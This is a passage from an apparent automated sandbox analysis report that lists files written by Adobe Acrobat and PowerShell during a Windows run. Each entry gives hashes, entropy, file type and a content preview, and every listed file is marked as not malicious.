Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.255526792664004
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfYdPeUkwRe9:YvXKXgEhZc0vuGg8Ukee9
MD5:	108BFB243B16FBE6385F277007571ABA
SHA1:	F50AAD67240F31D5FF3D8EEF3B61BC91BBBEA2CF
SHA-256:	08F61B71B2D63BA5D7DEC67922224028195DC567176CC71556EEC1AEA323F403
SHA-512:	1FF06ACD2D583746BE0D0692BA24E527483FE8DBF7F2BDD8C0B35F3DBA99B017336281E169611B0F9C8825445630340E2C720126C7B07D181311515DF7D56E68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.242139121098607
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJf+dPeUkwRe9:YvXKXgEhZc0vuG28Ukee9
MD5:	AE44EE5DC80EFDA55AC3293584A88FB3
SHA1:	8215B1E8A1CDCFE421803CDC44178F989C43B9BC
SHA-256:	8F7C1802282221E2FAE4D44E0CF58C382A2B857DF6CEB8881F59C253A6FD22B7
SHA-512:	D2FD98CF34178D6DC2497FF5997890E2D8BDBAF1F61DD54684C7D9001EA0041A466C20D7127FE4FF1BEC83B3594AE36B1460717505C0662A48BCCF94978A1377
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.239379548120246
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfbPtdPeUkwRe9:YvXKXgEhZc0vuGDV8Ukee9
MD5:	B601BD9BA7282C1BD362374200F1A3F5
SHA1:	8A6FDC3B65F5FEBB30839D610F93500D4B509671
SHA-256:	82D891A5E3FFFBDE3660CFC1EDCDFB30D4508F1AE7F6940299C53BC70671EC06
SHA-512:	C5AFAA4B4C5A87FCF89F39F65BF3F6D6F0DD8E47ABBB94CD2399C46B95AC235BD25F87FD777A86D3A0B60CB35D403FE97A9524FAA007A6219EC6FBBF9CEF76D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.24371129073987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJf21rPeUkwRe9:YvXKXgEhZc0vuG+16Ukee9
MD5:	EABA0B3DD50CE09DFE2253799D077911
SHA1:	D04572550AF8C5C0113262BBA93EE3CEA583A6F1
SHA-256:	72A843FD7FD4A92F587873428C2CF55A2D8D3B1B9BEA8DF99F047A5B5E50230F
SHA-512:	8241113CA39C485EC6FDD2F28F013548845F20D7CDA570D3EB86EC5881ADEF25917A3533BFBBADAF7114865402488E7540D2EB92F0C3CB87D41083957776065E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655168890840326
Encrypted:	false
SSDEEP:	24:Yv6XgUzvbamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvQzBgkDMUJUAh8cvMQ
MD5:	89FD30E50494B9053C83E61BE984DE1A
SHA1:	DCAFE01DC80539D6DDA1125A686A5237F8376F41
SHA-256:	CF2932D78ABBB5601CD045E031959FD408D6A88330008A12317E8BAF9129A193
SHA-512:	2102D28453F85267DA6A77FD900253F3B77B6B9D0036E0996C5C8709F1820B09889AE4EBD3EF84920408BC1187F141B026B33BC3C49E02E5DFBDEFB73DD2FD19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.219094148621633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJfshHHrPeUkwRe9:YvXKXgEhZc0vuGUUUkee9
MD5:	E4C55A46BEB56214444227BAA2D932A5
SHA1:	1B249DD2832130B9C6E6299A60A789FDFD7D10D8
SHA-256:	3BD79135053F54DE6E8AA676F82D6D53DD08AB69FC7A00905097E36209BC9D62
SHA-512:	2632F1B5618906FF8743EF6FC4E963D9FF70597B44BA6EAD18EA78E0D92ADAF7FB6D57C3E5DA66C73F14AB89F5377BE7E947858680FFAA3DDCE47F3161C46A68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.230810051499502
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmXkX9GVoZcg1vRcR0Y5QoAvJTqgFCrPeUkwRe9:YvXKXgEhZc0vuGTq16Ukee9
MD5:	4F730EEEEA33B4F81C88F78CCF3DDDB1
SHA1:	7AD568CB79FBD408E11CF82D06094A2CFA51880C
SHA-256:	AFC77422AD594E74FB3947AF4797B7D9823B6B4ACAD780FF3C5DCE8C72EFF689
SHA-512:	2EED877A20D80F86BAB08DB749878A5E18E3750D43C8806DCD9DAAC1F7DEB5890A871BAAC623357FA2CBE17B7D070D03DFF48B2D8F01A572E1B8ACABEDDC8E39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ffe5e6d1-62de-42ec-8dec-454a405aa2e0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736750805511,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1365610772336705
Encrypted:	false
SSDEEP:	48:YZ20DpF6DpMAdXeR6N1DUWZ/e61McG79GYG:224pF6DppXIo3l3M1G9
MD5:	031A6ACBE5A9DCFEC8D31EE720B4BA0F
SHA1:	242DC5AF88970E74E6E1D8D0B60E03D8110C47E7
SHA-256:	79A07B440343FCA3D1C74FA1D93CE426BEA540BDDAEA59651CDE7669CBA0F585
SHA-512:	6B10DE9E3D6CCD305698BFEE1466C54C98B80A679E04087E534029FB0AA68AD793C319863BE95F5B90C86A08FAA0E17459C1ABD0208E69BCADC389D086F5E716
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0f090a8f5d06b1f04d9cc8a1da3c9ba8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576264000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bb734655e2cbbf48fa3a2755d1f547f8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576264000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8d63e3b1a94ccec50606903f56e358fb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576264000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2de79aa91584ec56850591c1180d99a6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576264000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a5d21ff18ad4de2d0260ad055f59aaf5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576264000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0493809bde2d2542ff5e07edf7e7884a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1882693645510483
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUMAmOSvR9H9vxFGiDIAEkGVvpQAmI:lNVmswUUUUUUUUMvO+FGSItMvI
MD5:	77FB7DA18D97E9FF41D1238B3A071D0E
SHA1:	041E4FCBA1C4FAD685AB0A9F9DB92B51E5E02484
SHA-256:	2286731BF25136AEF53BF091DAC73290D93B06A3B82B6A0F4AEDD56E5F632607
SHA-512:	884046FFD51FB575894FD2933AD237EF500C617FEC92B5250EAAE8D70857082E526A5ED5A0EC46D07244DE11B5015265601EB1246B764433AD337FAFEBDBD9D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6050443813414756
Encrypted:	false
SSDEEP:	48:7MOKUUUUUUUUUUMAmcvR9H9vxFGiDIAEkGVv9qFl2GL7msO:7SUUUUUUUUUUMvsFGSItXKVmsO
MD5:	14DFE1B9102E6FDDD4A544BAADD39A82
SHA1:	CB53789C41406490B3E31BB1A03FA4B52809EF1D
SHA-256:	72B4ECA5E604DAE5668CD7851AB8DD1C537BB8CC2B75BA0189261940768D18FE
SHA-512:	1A5CA82DB992E76B73AEB1CDC57BC00C64939DB5D1646192780AFDCCFF0CF9D38F1F6F0C79F3B036FE336BA73E45396361CCC0C9E2ADCC6CBF72296CEF354A22
Malicious:	false
Preview:	.... .c.....S.n/......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgehu4K7kV0+7YMesM0nJxdNe1Yyu:6a6TZ44ADEehut7kveUL41K
MD5:	8377947850B8BD59548CE969435DB720
SHA1:	35E9802C795FD9F9C256E47A1738584F3607954A
SHA-256:	2115CDF637834943649755B408847A3ECB7F21A60F22B30F36B0936AF720A357
SHA-512:	147672E712C34B1E2DE375D8899F7ECA1493D44E41511F81781E34F8E7A3BC4A105C3B3E00B6B335B9255B25482CE147BCD37DFA6B01CC70317119E2CA07A2B9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulpgztZ:NllUO
MD5:	ADB67D140C904AFBF0D2C47FCFC73086
SHA1:	CAA1973FC7AB5367DC2007487049041C6D0AC54E
SHA-256:	BA09CC360CD10629A32D8E84392BAD452284123893B0792F6417340A72E3B951
SHA-512:	85BE6449222EAA096A6F84E051D16DB1147498DA621BDB6C7B5D11CF6C306DB4DE90CEB457EDE22CCA53BC94CF4D1E6D0FAE203D196AF7AF225AF87464E1286E
Malicious:	false
Preview:	@...e.................................x..............@..........

C:\Users\user\AppData\Local\Temp\MSI50de.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.504899586627176
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8Se:Qw946cPbiOxDlbYnuRKdv
MD5:	1F17EB2A3406F7FC2A250B9A574E52E8
SHA1:	355A0F638AADE66077B9F59C8CECB3AA1928BA5F
SHA-256:	099237BD1DEF9294C0AE3619714B885A5D0DD221DC366C050E4A1CDC504EB27B
SHA-512:	E721EE4D7722B95280EAFD1297FAA5EDFB2C5346B42F1C35F9A802D23DDDC53C41380C9786B3196C3F15EC27551F3C9B6B4B68673EE9DA8F1F544F3EE67A289F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.1.7.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q1jlwly1.bhq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0envij3.a1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-17-38-171.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.381524273970522
Encrypted:	false
SSDEEP:	384:khtIddks2IbbEP5FQiKxfxspxuR8xwMOk3UYav7uwX+OZwJ+m76G+f+f2p/wmjT5:d48
MD5:	E376447A45CEBCF13EC3F39C697AF678
SHA1:	FA9999DD9359AFE166E1C6334484370FC6B6CA17
SHA-256:	28CB1DACFEAAB99CC2B9F1D25FC304D9631EEE000FEE2236E5AF26E50320E2C6
SHA-512:	C904CAF3E65ABE8DC352AF37626FC08228482704C9936A298AC85D06101AF12B8DF38572668017FB41C1AFACB18281885007A25767416494E95FC994BD78D24B
Malicious:	false
Preview:	SessionID=dd89bfb6-0f5c-44a0-897d-410f49fdf9c0.1736576258183 Timestamp=2025-01-11T01:17:38:183-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dd89bfb6-0f5c-44a0-897d-410f49fdf9c0.1736576258183 Timestamp=2025-01-11T01:17:38:184-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dd89bfb6-0f5c-44a0-897d-410f49fdf9c0.1736576258183 Timestamp=2025-01-11T01:17:38:184-0500 ThreadID=7716 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dd89bfb6-0f5c-44a0-897d-410f49fdf9c0.1736576258183 Timestamp=2025-01-11T01:17:38:184-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dd89bfb6-0f5c-44a0-897d-410f49fdf9c0.1736576258183 Timestamp=2025-01-11T01:17:38:184-0500 ThreadID=7716 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3879825813056215
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rr:/
MD5:	85969F8AD85AD4E931C822DE31F53218
SHA1:	8B33D0A96669CECCD45072DA70F6A1FC7542F690
SHA-256:	44741B15B492DFA4F577CD500A9982163F99E7AB4B131CBD4EB6B5EA15B7272C
SHA-512:	FD676483229F856A5A67353556DC4AFD2378BAB6BB4EB68E29D02846E18D605AC87233C5A520B3D9579DAA7F601563120AE6AEE91BF30DA64615E3FC178FAAF7
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\34ff357b-bc58-41b1-afb4-9250759dff3b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\73615454-6331-4323-a718-b3c6c04b5977.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
